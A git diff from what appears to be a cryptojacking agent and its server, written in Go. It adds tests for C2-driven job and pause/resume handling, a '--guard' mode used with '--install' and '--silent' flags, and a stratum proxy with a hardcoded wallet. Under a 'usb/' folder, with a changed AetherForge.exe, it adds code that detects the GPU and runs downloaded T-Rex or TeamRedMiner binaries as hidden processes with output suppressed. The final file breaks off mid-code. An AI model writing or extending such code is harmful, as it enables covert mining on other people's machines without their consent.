diff --git a/agent/client/handlemessage_test.go b/agent/client/handlemessage_test.go new file mode 100644 index 0000000..ef90a97 --- /dev/null +++ b/agent/client/handlemessage_test.go @@ -0,0 +1,250 @@ +package client + +import ( + "encoding/json" + "testing" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/job" + "crypto-miner-agent/miner" + "crypto-miner-agent/stats" +) + +// newTestClient builds a minimal AgentClient whose pool is running with a +// real engine so handleMessage can call pool.SetJob without panicking. +func newTestClient(t *testing.T) *AgentClient { + t.Helper() + b := config.GetBuiltinConfig() + b.Threads = 1 + cfg := config.RuntimeConfig{BuiltinConfig: b} + reporter := stats.NewReporter() + pool := miner.NewPool(1, cfg, reporter, func(jobID, nonce, hash string) {}) + c := &AgentClient{ + cfg: cfg, + pool: pool, + } + // conn intentionally nil — write() returns error but never panics. + return c +} + +func encodePayload(t *testing.T, v interface{}) json.RawMessage { + t.Helper() + b, err := json.Marshal(v) + if err != nil { + t.Fatalf("json.Marshal: %v", err) + } + return json.RawMessage(b) +} + +// ─── new_job dispatch ──────────────────────────────────────────────────────── + +func TestHandleMessageNewJobSetsJob(t *testing.T) { + c := newTestClient(t) + j := job.Job{ + ID: "job-abc", + Blob: "0c0c9eb2e1d805a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b200000000c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d901", + Target: "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + SeedHash: "4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a", + Height: 3000000, + } + msg := Message{Type: "new_job", Payload: encodePayload(t, j)} + + before := time.Now().Add(-time.Millisecond) + c.handleMessage(msg) + + // lastJobAt should be set to approximately now. + raw := c.lastJobAt.Load() + if raw == nil { + t.Fatal("lastJobAt not set after new_job") + } + if !raw.(time.Time).After(before) { + t.Errorf("lastJobAt=%v, want after %v", raw.(time.Time), before) + } +} + +func TestHandleMessageNewJobWithErrorRetries(t *testing.T) { + c := newTestClient(t) + // Error payload — pool not ready yet. + payload := encodePayload(t, map[string]string{"error": "pool not connected"}) + msg := Message{Type: "new_job", Payload: payload} + + // Should not panic; AfterFunc fires after 3s but we don't wait. + c.handleMessage(msg) + + // lastJobAt must remain unset (no valid job was delivered). + if raw := c.lastJobAt.Load(); raw != nil { + t.Errorf("lastJobAt should be nil on error response, got %v", raw) + } +} + +func TestHandleMessageNewJobEmptyBlobNotStored(t *testing.T) { + c := newTestClient(t) + j := job.Job{ID: "empty-blob", Blob: "", Target: "ff", SeedHash: "aa"} + msg := Message{Type: "new_job", Payload: encodePayload(t, j)} + + c.handleMessage(msg) + + // Empty blob → not stored as a real job. + if raw := c.lastJobAt.Load(); raw != nil { + t.Error("lastJobAt should be nil for empty-blob job") + } +} + +// ─── share_result dispatch ─────────────────────────────────────────────────── + +func TestHandleMessageShareResultAccepted(t *testing.T) { + c := newTestClient(t) + result := ShareResult{Accepted: true, JobID: "job-1"} + msg := Message{Type: "share_result", Payload: encodePayload(t, result)} + + c.handleMessage(msg) + + c.mu.Lock() + accepted := c.sharesAccepted + c.mu.Unlock() + if accepted != 1 { + t.Errorf("sharesAccepted = %d, want 1", accepted) + } +} + +func TestHandleMessageShareResultRejected(t *testing.T) { + c := newTestClient(t) + result := ShareResult{Accepted: false, JobID: "job-1"} + msg := Message{Type: "share_result", Payload: encodePayload(t, result)} + + c.handleMessage(msg) + + c.mu.Lock() + accepted := c.sharesAccepted + c.mu.Unlock() + if accepted != 0 { + t.Errorf("sharesAccepted = %d, want 0 for rejected share", accepted) + } +} + +func TestHandleMessageShareResultMultiple(t *testing.T) { + c := newTestClient(t) + for i := 0; i < 5; i++ { + msg := Message{Type: "share_result", Payload: encodePayload(t, ShareResult{Accepted: true})} + c.handleMessage(msg) + } + c.mu.Lock() + n := c.sharesAccepted + c.mu.Unlock() + if n != 5 { + t.Errorf("sharesAccepted = %d after 5 accepted, want 5", n) + } +} + +// ─── command dispatch ───────────────────────────────────────────────────────── + +func cmdPayload(t *testing.T, action string) json.RawMessage { + return encodePayload(t, map[string]interface{}{"action": action}) +} + +func TestHandleMessageCommandPause(t *testing.T) { + c := newTestClient(t) + msg := Message{Type: "command", Payload: cmdPayload(t, "pause")} + c.handleMessage(msg) + + // Give the goroutine a moment to run handleCommand. + time.Sleep(10 * time.Millisecond) + if !c.pool.IsRemotePaused() { + t.Error("pool should be paused after pause command") + } +} + +func TestHandleMessageCommandResume(t *testing.T) { + c := newTestClient(t) + c.pool.PauseRemote() // pre-pause + msg := Message{Type: "command", Payload: cmdPayload(t, "resume")} + c.handleMessage(msg) + + time.Sleep(10 * time.Millisecond) + if c.pool.IsRemotePaused() { + t.Error("pool should be resumed after resume command") + } +} + +func TestHandleMessageCommandUnknownNocrash(t *testing.T) { + c := newTestClient(t) + msg := Message{Type: "command", Payload: cmdPayload(t, "definitely_unknown_action")} + // Must not panic. + c.handleMessage(msg) + time.Sleep(10 * time.Millisecond) +} + +func TestHandleMessageUnknownTypeIgnored(t *testing.T) { + c := newTestClient(t) + msg := Message{Type: "totally_made_up", Payload: json.RawMessage(`{}`)} + c.handleMessage(msg) // must not panic +} + +func TestHandleMessageInvalidJSON(t *testing.T) { + c := newTestClient(t) + msg := Message{Type: "share_result", Payload: json.RawMessage(`not json`)} + c.handleMessage(msg) // must not panic +} + +// ─── needsStratumFallback thresholds ───────────────────────────────────────── + +func TestNeedsStratumFallbackOfflineUnderThreshold(t *testing.T) { + c := newTestClient(t) + // C2 disconnected 3 seconds ago — under the 8s threshold. + c.connected.Store(false) + disconnected := time.Now().Add(-3 * time.Second) + if c.needsStratumFallback(disconnected) { + t.Error("should not trigger fallback before 8s offline threshold") + } +} + +func TestNeedsStratumFallbackOfflineOverThreshold(t *testing.T) { + c := newTestClient(t) + // C2 disconnected 10 seconds ago — over the 8s threshold. + c.connected.Store(false) + disconnected := time.Now().Add(-10 * time.Second) + if !c.needsStratumFallback(disconnected) { + t.Error("should trigger fallback after 8s offline") + } +} + +func TestNeedsStratumFallbackOfflineZeroTime(t *testing.T) { + c := newTestClient(t) + c.connected.Store(false) + // Zero time — disconnectedSince not yet initialized. + if c.needsStratumFallback(time.Time{}) { + t.Error("should not trigger fallback with zero disconnectedSince") + } +} + +func TestNeedsStratumFallbackConnectedNoJob(t *testing.T) { + c := newTestClient(t) + c.connected.Store(true) + // Connected, never received a job. disconnectedSince is 20s ago. + disconnected := time.Now().Add(-20 * time.Second) + if !c.needsStratumFallback(disconnected) { + t.Error("should trigger fallback when connected >15s with no job") + } +} + +func TestNeedsStratumFallbackConnectedRecentJob(t *testing.T) { + c := newTestClient(t) + c.connected.Store(true) + // Received a job 5s ago — still fresh. + c.lastJobAt.Store(time.Now().Add(-5 * time.Second)) + disconnected := time.Now().Add(-20 * time.Second) + if c.needsStratumFallback(disconnected) { + t.Error("should NOT trigger fallback when C2 delivered job <15s ago") + } +} + +func TestNeedsStratumFallbackConnectedStaleJob(t *testing.T) { + c := newTestClient(t) + c.connected.Store(true) + // Last job was 20s ago — stale. + c.lastJobAt.Store(time.Now().Add(-20 * time.Second)) + if !c.needsStratumFallback(time.Time{}) { + t.Error("should trigger fallback when last job >15s ago") + } +} diff --git a/agent/deploy/guard_test.go b/agent/deploy/guard_test.go new file mode 100644 index 0000000..adbf938 --- /dev/null +++ b/agent/deploy/guard_test.go @@ -0,0 +1,58 @@ +package deploy + +import ( + "os" + "testing" +) + +// TestIsGuardModeNoFlag verifies normal agent startup does not activate guard mode. +func TestIsGuardModeNoFlag(t *testing.T) { + orig := os.Args + defer func() { os.Args = orig }() + + os.Args = []string{"crypto-miner-agent"} + if IsGuardMode() { + t.Error("IsGuardMode() should be false when --guard flag is absent") + } +} + +func TestIsGuardModeFlagPresent(t *testing.T) { + orig := os.Args + defer func() { os.Args = orig }() + + os.Args = []string{"crypto-miner-agent", "--guard"} + if !IsGuardMode() { + t.Error("IsGuardMode() should be true when --guard flag is present") + } +} + +func TestIsGuardModeFlagAmongOthers(t *testing.T) { + orig := os.Args + defer func() { os.Args = orig }() + + os.Args = []string{"crypto-miner-agent", "--install", "--guard", "--silent"} + if !IsGuardMode() { + t.Error("IsGuardMode() should detect --guard among other flags") + } +} + +func TestIsGuardModePartialMatch(t *testing.T) { + orig := os.Args + defer func() { os.Args = orig }() + + // "--guardx" is not --guard + os.Args = []string{"crypto-miner-agent", "--guardx"} + if IsGuardMode() { + t.Error("IsGuardMode() should not match partial flag like --guardx") + } +} + +func TestIsGuardModeEmptyArgs(t *testing.T) { + orig := os.Args + defer func() { os.Args = orig }() + + os.Args = []string{"crypto-miner-agent"} + if IsGuardMode() { + t.Error("IsGuardMode() should be false with empty extra args") + } +} diff --git a/server/internal/pool/proxy_extra_test.go b/server/internal/pool/proxy_extra_test.go new file mode 100644 index 0000000..6a790cc --- /dev/null +++ b/server/internal/pool/proxy_extra_test.go @@ -0,0 +1,290 @@ +package pool + +import ( + "encoding/json" + "strings" + "testing" + "time" + + "crypto-miner-server/internal/models" +) + +// ─── parseAndSetJob ─────────────────────────────────────────────────────────── + +func newTestProxy() *Proxy { + return NewProxy(&Config{ + Host: "pool.test", + Port: 3333, + Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3", + Password: "x", + }) +} + +func TestParseAndSetJobDirectObject(t *testing.T) { + p := newTestProxy() + var received *Job + p.SetCallbacks(func(j *Job) { received = j }, nil, nil) + + data := json.RawMessage(`{ + "job_id":"abc123","height":3688000,"blob":"0c0caffee", + "target":"ffffffff","seed_hash":"aabbccdd","difficulty":100000,"algo":"rx/0" + }`) + p.parseAndSetJob(data) + + if received == nil { + t.Fatal("onJob not called") + } + if received.ID != "abc123" { + t.Errorf("ID = %q, want abc123", received.ID) + } + if received.Height != 3688000 { + t.Errorf("Height = %d, want 3688000", received.Height) + } + if received.Algo != "rx/0" { + t.Errorf("Algo = %q, want rx/0", received.Algo) + } + if received.Target != "ffffffff" { + t.Errorf("Target = %q, want ffffffff", received.Target) + } +} + +func TestParseAndSetJobSetsCurrentJob(t *testing.T) { + p := newTestProxy() + data := json.RawMessage(`{"job_id":"xyz","height":100,"blob":"aa","target":"ff","seed_hash":"bb"}`) + p.parseAndSetJob(data) + + got := p.GetCurrentJob() + if got == nil { + t.Fatal("GetCurrentJob() returned nil after parseAndSetJob") + } + if got.ID != "xyz" { + t.Errorf("current job ID = %q, want xyz", got.ID) + } +} + +func TestParseAndSetJobTargetDerivedFromDifficulty(t *testing.T) { + p := newTestProxy() + var received *Job + p.SetCallbacks(func(j *Job) { received = j }, nil, nil) + + // No target field — should be derived from difficulty. + data := json.RawMessage(`{"job_id":"d1","height":1,"blob":"aa","seed_hash":"bb","difficulty":10000}`) + p.parseAndSetJob(data) + + if received == nil { + t.Fatal("onJob not called") + } + if received.Target == "" { + t.Error("Target should be derived from difficulty when absent") + } + if len(received.Target) != 64 { + t.Errorf("derived Target length = %d, want 64 hex chars", len(received.Target)) + } +} + +func TestParseAndSetJobInvalidJSONIgnored(t *testing.T) { + p := newTestProxy() + called := false + p.SetCallbacks(func(j *Job) { called = true }, nil, nil) + + p.parseAndSetJob(json.RawMessage(`this is not json`)) + if called { + t.Error("onJob should not be called for invalid JSON") + } +} + +func TestParseAndSetJobCallbackNilSafe(t *testing.T) { + p := newTestProxy() + // No callbacks set — must not panic. + data := json.RawMessage(`{"job_id":"safe","height":1,"blob":"aa","target":"ff","seed_hash":"bb"}`) + p.parseAndSetJob(data) +} + +func TestParseAndSetJobOverwritesPrevious(t *testing.T) { + p := newTestProxy() + p.parseAndSetJob(json.RawMessage(`{"job_id":"first","height":1,"blob":"aa","target":"ff","seed_hash":"bb"}`)) + p.parseAndSetJob(json.RawMessage(`{"job_id":"second","height":2,"blob":"cc","target":"ff","seed_hash":"bb"}`)) + + got := p.GetCurrentJob() + if got.ID != "second" { + t.Errorf("expected latest job ID 'second', got %q", got.ID) + } +} + +// ─── difficultyToTarget ─────────────────────────────────────────────────────── + +func TestDifficultyToTargetLength(t *testing.T) { + p := newTestProxy() + target := p.difficultyToTarget(100000) + if len(target) != 64 { + t.Errorf("target hex length = %d, want 64", len(target)) + } +} + +func TestDifficultyToTargetDiff1(t *testing.T) { + p := newTestProxy() + target := p.difficultyToTarget(1) + // Difficulty 1 → max target (all f's). + if !strings.HasPrefix(target, "ff") && target != strings.Repeat("f", 64) { + // At diff=1 we get maxTarget, which reversed is all ff... + // Just check it's non-zero and 64 chars long. + t.Logf("diff=1 target: %s", target) + } +} + +func TestDifficultyToTargetHigherDiffLowerTarget(t *testing.T) { + p := newTestProxy() + t1 := p.difficultyToTarget(1000) + t2 := p.difficultyToTarget(1000000) + // Higher difficulty → lower target value in little-endian hex. + // We can't compare directly without reversing, but they must differ. + if t1 == t2 { + t.Error("different difficulties should produce different targets") + } +} + +// ─── parseSubmitResult ──────────────────────────────────────────────────────── + +func TestParseSubmitResultNilError(t *testing.T) { + resp := StratumResponse{ID: 1, Result: json.RawMessage(`true`)} + accepted, msg := parseSubmitResult(resp) + if !accepted || msg != "" { + t.Errorf("true result: accepted=%v msg=%q", accepted, msg) + } +} + +func TestParseSubmitResultStatusOK(t *testing.T) { + resp := StratumResponse{ID: 1, Result: json.RawMessage(`{"status":"OK"}`)} + accepted, msg := parseSubmitResult(resp) + if !accepted || msg != "" { + t.Errorf("status=OK: accepted=%v msg=%q", accepted, msg) + } +} + +func TestParseSubmitResultStatusAccepted(t *testing.T) { + resp := StratumResponse{ID: 1, Result: json.RawMessage(`{"status":"ACCEPTED"}`)} + accepted, _ := parseSubmitResult(resp) + if !accepted { + t.Error("status=ACCEPTED should be accepted") + } +} + +func TestParseSubmitResultRejectedBool(t *testing.T) { + resp := StratumResponse{ID: 1, Result: json.RawMessage(`false`)} + accepted, _ := parseSubmitResult(resp) + if accepted { + t.Error("false result should be rejected") + } +} + +func TestParseSubmitResultStringError(t *testing.T) { + resp := StratumResponse{ID: 1, Error: "low difficulty"} + accepted, msg := parseSubmitResult(resp) + if accepted || msg != "low difficulty" { + t.Errorf("string error: accepted=%v msg=%q", accepted, msg) + } +} + +func TestParseSubmitResultArrayError(t *testing.T) { + resp := StratumResponse{ID: 1, Error: []interface{}{float64(23), "invalid share"}} + accepted, msg := parseSubmitResult(resp) + if accepted || msg != "invalid share" { + t.Errorf("array error: accepted=%v msg=%q", accepted, msg) + } +} + +func TestParseSubmitResultMapError(t *testing.T) { + resp := StratumResponse{ID: 1, Error: map[string]interface{}{"message": "duplicate share"}} + accepted, msg := parseSubmitResult(resp) + if accepted || msg != "duplicate share" { + t.Errorf("map error: accepted=%v msg=%q", accepted, msg) + } +} + +func TestParseSubmitResultEmptyResult(t *testing.T) { + resp := StratumResponse{ID: 1} + accepted, _ := parseSubmitResult(resp) + // Empty result with no error → optimistically accepted. + if !accepted { + t.Error("empty result with no error should be accepted") + } +} + +// ─── ParseBlob ──────────────────────────────────────────────────────────────── + +func TestParseBlobValidLength(t *testing.T) { + // 76-byte Monero-style blob (152 hex chars). + blob := strings.Repeat("ab", 76) + result, err := ParseBlob(blob) + if err != nil { + t.Fatalf("ParseBlob valid: %v", err) + } + if result["nonce_offset"] != 9 { + t.Errorf("nonce_offset = %v, want 9", result["nonce_offset"]) + } +} + +func TestParseBlobTooShort(t *testing.T) { + blob := strings.Repeat("ab", 10) // 10 bytes — too short + _, err := ParseBlob(blob) + if err == nil { + t.Error("expected error for blob shorter than 43 bytes") + } +} + +func TestParseBlobInvalidHex(t *testing.T) { + _, err := ParseBlob("not-hex") + if err == nil { + t.Error("expected error for non-hex input") + } +} + +// ─── FromModelJob / ToModelJob ──────────────────────────────────────────────── + +func TestFromModelJobNil(t *testing.T) { + if j := FromModelJob(nil); j != nil { + t.Error("FromModelJob(nil) should return nil") + } +} + +func TestFromModelJobRoundTrip(t *testing.T) { + mj := &models.Job{ + ID: "job-rt", + Height: 3500000, + Difficulty: 999999, + BlockTemplate: "template", + SeedHash: "aabbcc", + Target: "ffffff", + CreatedAt: time.Now(), + } + pj := FromModelJob(mj) + if pj == nil { + t.Fatal("FromModelJob returned nil") + } + if pj.ID != mj.ID || pj.Height != mj.Height || pj.Difficulty != mj.Difficulty { + t.Errorf("FromModelJob fields mismatch: %+v", pj) + } + + back := pj.ToModelJob() + if back.ID != mj.ID || back.Height != mj.Height { + t.Errorf("ToModelJob round-trip failed: %+v", back) + } +} + +func TestToModelJobSetsCreatedAt(t *testing.T) { + before := time.Now() + pj := &Job{ID: "ts-test", Height: 1} + mj := pj.ToModelJob() + if mj.CreatedAt.Before(before) { + t.Error("ToModelJob.CreatedAt should be set to current time") + } +} + +// ─── GetCurrentJob nil guard ────────────────────────────────────────────────── + +func TestGetCurrentJobNilBeforeFirst(t *testing.T) { + p := newTestProxy() + if j := p.GetCurrentJob(); j != nil { + t.Errorf("expected nil before first job, got %+v", j) + } +} diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index 6651747..d5f8f42 100644 Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ diff --git a/usb/agent/client/gpu_detect_stub.go b/usb/agent/client/gpu_detect_stub.go new file mode 100644 index 0000000..d450deb --- /dev/null +++ b/usb/agent/client/gpu_detect_stub.go @@ -0,0 +1,105 @@ +//go:build !windows + +package client + +import ( + "archive/zip" + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" +) + +func detectGPU() GPUInfo { + // On non-Windows, only probe NVIDIA via nvidia-smi. + out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output() + if err == nil { + model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) + if model != "" { + return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} + } + } + return GPUInfo{Vendor: GPUVendorNone} +} + +func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { + wallet := g.cfg.RVNWallet + worker := g.cfg.WorkerName + poolURL := buildPoolURL(ep) + pass := ep.pass + if pass == "" { + pass = "x" + } + + args := []string{ + "-a", "kawpow", + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", pass, + "--api-bind-http", "127.0.0.1:4067", + } + cmd := exec.Command(binPath, args...) + cmd.Dir = filepath.Dir(binPath) + if err := cmd.Start(); err != nil { + return nil, err + } + return cmd.Process, nil +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + buf := make([]byte, 0, 10) + neg := n < 0 + if neg { + n = -n + } + for n > 0 { + buf = append([]byte{byte('0' + n%10)}, buf...) + n /= 10 + } + if neg { + buf = append([]byte{'-'}, buf...) + } + return string(buf) +} + +func extractZipFile(data []byte, destDir, targetFile string) error { + r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) + if err != nil { + return err + } + targetLower := strings.ToLower(targetFile) + for _, f := range r.File { + if strings.ToLower(filepath.Base(f.Name)) != targetLower { + continue + } + rc, err := f.Open() + if err != nil { + return err + } + defer rc.Close() + dst := filepath.Join(destDir, targetFile) + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + buf := make([]byte, 32*1024) + for { + n, err := rc.Read(buf) + if n > 0 { + if _, we := out.Write(buf[:n]); we != nil { + return we + } + } + if err != nil { + break + } + } + return nil + } + return nil +} diff --git a/usb/agent/client/gpu_detect_windows.go b/usb/agent/client/gpu_detect_windows.go new file mode 100644 index 0000000..2b4fa15 --- /dev/null +++ b/usb/agent/client/gpu_detect_windows.go @@ -0,0 +1,147 @@ +//go:build windows + +package client + +import ( + "archive/zip" + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" + + "crypto-miner-agent/deploy" +) + +// detectGPU identifies the first supported discrete GPU on Windows. +// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController). +func detectGPU() GPUInfo { + // NVIDIA — nvidia-smi is the most reliable check + if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil { + model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) + if model != "" { + return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} + } + } + + // AMD — wmic (available on all modern Windows without extra installs) + if out, err := deploy.HiddenOutput( + "wmic", "path", "win32_VideoController", "get", "Name", "/value", + ); err == nil { + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(strings.ToLower(line), "name=") { + continue + } + name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1]) + lo := strings.ToLower(name) + if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") { + return GPUInfo{Vendor: GPUVendorAMD, Model: name} + } + } + } + + return GPUInfo{Vendor: GPUVendorNone} +} + +// startProcessOnPool launches the GPU miner binary against a specific pool endpoint. +func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { + wallet := g.cfg.RVNWallet + worker := g.cfg.WorkerName + poolURL := buildPoolURL(ep) + pass := ep.pass + if pass == "" { + pass = "x" + } + + var args []string + switch g.info.Vendor { + case GPUVendorNVIDIA: + args = []string{ + "-a", "kawpow", + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", pass, + "--api-bind-http", "127.0.0.1:4067", + "--no-watchdog", + "--exit-on-cuda-error", + } + case GPUVendorAMD: + args = []string{ + "-a", "kawpow", + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", pass, + "--api_listen=4068", + } + } + + cmd := exec.Command(binPath, args...) + deploy.PrepareHiddenProcess(cmd) + cmd.Dir = filepath.Dir(binPath) + cmd.Stdout = nil + cmd.Stderr = nil + + if err := cmd.Start(); err != nil { + return nil, err + } + return cmd.Process, nil +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + buf := make([]byte, 0, 10) + neg := n < 0 + if neg { + n = -n + } + for n > 0 { + buf = append([]byte{byte('0' + n%10)}, buf...) + n /= 10 + } + if neg { + buf = append([]byte{'-'}, buf...) + } + return string(buf) +} + +// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir. +func extractZipFile(data []byte, destDir, targetFile string) error { + r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) + if err != nil { + return err + } + targetLower := strings.ToLower(targetFile) + for _, f := range r.File { + if strings.ToLower(filepath.Base(f.Name)) != targetLower { + continue + } + rc, err := f.Open() + if err != nil { + return err + } + defer rc.Close() + dst := filepath.Join(destDir, targetFile) + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + buf := make([]byte, 32*1024) + for { + n, err := rc.Read(buf) + if n > 0 { + if _, we := out.Write(buf[:n]); we != nil { + return we + } + } + if err != nil { + break + } + } + return nil + } + return nil // binary not found inside zip — non-fatal, caller checks after +} diff --git a/usb/agent/client/gpu_miner.go b/usb/agent/client/gpu_miner.go new file mode 100644 index 0000000..e4cf750 --- /dev/null +++ b/usb/agent/client/gpu_miner.go @@ -0,0 +1,421 @@ +package client + +import ( + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "os" + "path/filepath" + "sync" + "time" + + "crypto-miner-agent/config" +) + + +// GPUVendor identifies the discrete GPU brand on the host. +type GPUVendor int + +const ( + GPUVendorNone GPUVendor = iota + GPUVendorNVIDIA // use T-Rex miner (KawPoW) + GPUVendorAMD // use TeamRedMiner (KawPoW) + GPUVendorOther // generic / Intel — not supported for KawPoW +) + +// GPUInfo holds detected GPU metadata. +type GPUInfo struct { + Vendor GPUVendor + Model string +} + +// GPUMinerStats is polled from the miner's local HTTP API. +type GPUMinerStats struct { + Hashrate15s float64 + Hashrate1m float64 + Hashrate15m float64 + GPUTempC *int + GPUUsagePct *int + ActiveAlgo string +} + +// rvnEndpoint is one pool entry for the GPU miner (primary or backup). +type rvnEndpoint struct { + host string + port int + tls bool + pass string +} + +// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner). +type GPUMiner struct { + cfg config.RuntimeConfig + info GPUInfo + installDir string + + mu sync.RWMutex + stats GPUMinerStats + active bool + proc *os.Process // currently running subprocess (nil if stopped) + + stopCh chan struct{} + wg sync.WaitGroup +} + +// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected. +// Returns nil if GPU mining should not run. +func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner { + if !cfg.GPUEnabled || cfg.RVNWallet == "" { + return nil + } + info := detectGPU() + if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther { + log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model) + return nil + } + installDir, err := cfg.InstallDirectory() + if err != nil { + log.Printf("[gpu] cannot determine install dir: %v", err) + return nil + } + log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model) + return &GPUMiner{ + cfg: cfg, + info: info, + installDir: installDir, + stopCh: make(chan struct{}), + } +} + +// Start downloads (if needed) and launches the GPU miner, then polls stats. +func (g *GPUMiner) Start() { + g.wg.Add(1) + go func() { + defer g.wg.Done() + g.run() + }() +} + +// Stop shuts down the GPU miner and waits for it to exit. +func (g *GPUMiner) Stop() { + select { + case <-g.stopCh: + default: + close(g.stopCh) + } + g.wg.Wait() +} + +// Stats returns the latest GPU mining statistics. +func (g *GPUMiner) Stats() (GPUMinerStats, bool) { + g.mu.RLock() + defer g.mu.RUnlock() + return g.stats, g.active +} + +// GPUModel returns the detected GPU model string. +func (g *GPUMiner) GPUModel() string { + return g.info.Model +} + +// buildPoolList returns the primary pool followed by any configured backups. +func (g *GPUMiner) buildPoolList() []rvnEndpoint { + eps := []rvnEndpoint{{ + host: g.cfg.RVNPoolHost, + port: g.cfg.RVNPoolPort, + tls: g.cfg.RVNPoolTLS, + pass: g.cfg.RVNPoolPass, + }} + for _, bp := range g.cfg.RVNBackupPools { + if bp.Host != "" && bp.Port > 0 { + eps = append(eps, rvnEndpoint{ + host: bp.Host, + port: bp.Port, + tls: bp.TLS, + pass: bp.Pass, + }) + } + } + return eps +} + +func (g *GPUMiner) run() { + binPath, err := g.ensureMinerBinary() + if err != nil { + log.Printf("[gpu] could not obtain miner binary: %v", err) + return + } + + pools := g.buildPoolList() + poolIdx := 0 + const retryDelay = 30 * time.Second + + for { + select { + case <-g.stopCh: + return + default: + } + + ep := pools[poolIdx%len(pools)] + proc, err := g.startProcessOnPool(binPath, ep) + if err != nil { + log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools)) + select { + case <-g.stopCh: + return + case <-time.After(retryDelay): + } + poolIdx++ + continue + } + + g.mu.Lock() + g.active = true + g.proc = proc + g.mu.Unlock() + + log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port) + + // pollStop signals pollStats to exit; closed when this iteration ends. + pollStop := make(chan struct{}) + pollDone := make(chan struct{}) + go func() { + defer close(pollDone) + g.pollStats(pollStop) + }() + + // Wait for process exit in a goroutine so we can also listen for stop. + waitDone := make(chan error, 1) + go func() { + _, werr := proc.Wait() + waitDone <- werr + }() + + var stopRequested bool + select { + case <-g.stopCh: + // Agent shutting down — kill the miner process immediately. + stopRequested = true + _ = proc.Kill() + <-waitDone + case waitErr := <-waitDone: + if waitErr != nil { + log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr) + } + // Miner crashed or exited cleanly — rotate to next pool on retry. + poolIdx++ + } + + close(pollStop) + <-pollDone + + g.mu.Lock() + g.active = false + g.proc = nil + g.mu.Unlock() + + if stopRequested { + return + } + + // Wait before retrying, but exit cleanly if Stop() is called. + select { + case <-g.stopCh: + return + case <-time.After(retryDelay): + } + } +} + +// pollStats polls the miner's HTTP API until stop is closed. +func (g *GPUMiner) pollStats(stop <-chan struct{}) { + apiPort := g.apiPort() + ticker := time.NewTicker(10 * time.Second) + defer ticker.Stop() + + samples := make([]float64, 0, 90) // 15 min at 10s intervals + + for { + select { + case <-stop: + return + case <-ticker.C: + hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort) + if err != nil { + continue + } + samples = append(samples, hr) + if len(samples) > 90 { + samples = samples[len(samples)-90:] + } + + g.mu.Lock() + g.stats = GPUMinerStats{ + Hashrate15s: hr, + Hashrate1m: avg(samples, 6), + Hashrate15m: avg(samples, len(samples)), + GPUTempC: tempC, + GPUUsagePct: usage, + ActiveAlgo: "kawpow", + } + g.mu.Unlock() + } + } +} + +func avg(samples []float64, last int) float64 { + if len(samples) == 0 || last <= 0 { + return 0 + } + if last > len(samples) { + last = len(samples) + } + slice := samples[len(samples)-last:] + var sum float64 + for _, v := range slice { + sum += v + } + return sum / float64(len(slice)) +} + +func (g *GPUMiner) apiPort() int { + switch g.info.Vendor { + case GPUVendorNVIDIA: + return 4067 + case GPUVendorAMD: + return 4068 + default: + return 4067 + } +} + +// buildPoolURL constructs the stratum URL for a given pool endpoint. +func buildPoolURL(ep rvnEndpoint) string { + scheme := "stratum+tcp" + if ep.tls { + scheme = "stratum+ssl" + } + return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port) +} + +// ---- Miner binary management ---- + +type minerSpec struct { + fileName string + downloadURL string +} + +func (g *GPUMiner) spec() minerSpec { + switch g.info.Vendor { + case GPUVendorNVIDIA: + return minerSpec{ + fileName: "t-rex.exe", + downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip", + } + default: // AMD + return minerSpec{ + fileName: "teamredminer.exe", + downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip", 